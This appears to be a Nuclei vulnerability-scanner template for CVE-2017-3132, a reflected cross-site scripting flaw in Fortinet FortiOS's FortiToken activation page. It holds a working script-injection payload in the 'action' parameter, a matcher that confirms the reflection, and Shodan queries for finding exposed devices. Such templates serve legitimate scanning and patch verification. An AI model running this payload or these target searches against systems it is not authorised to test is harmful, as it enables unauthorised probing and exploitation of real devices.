Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

id: CVE-2017-3132

info:
  name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3132
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-3132
    cwe-id: CWE-79
    epss-score: 0.02943
    epss-percentile: 0.86693
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var action = '</script><script>alert(document.domain)</script><script>"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
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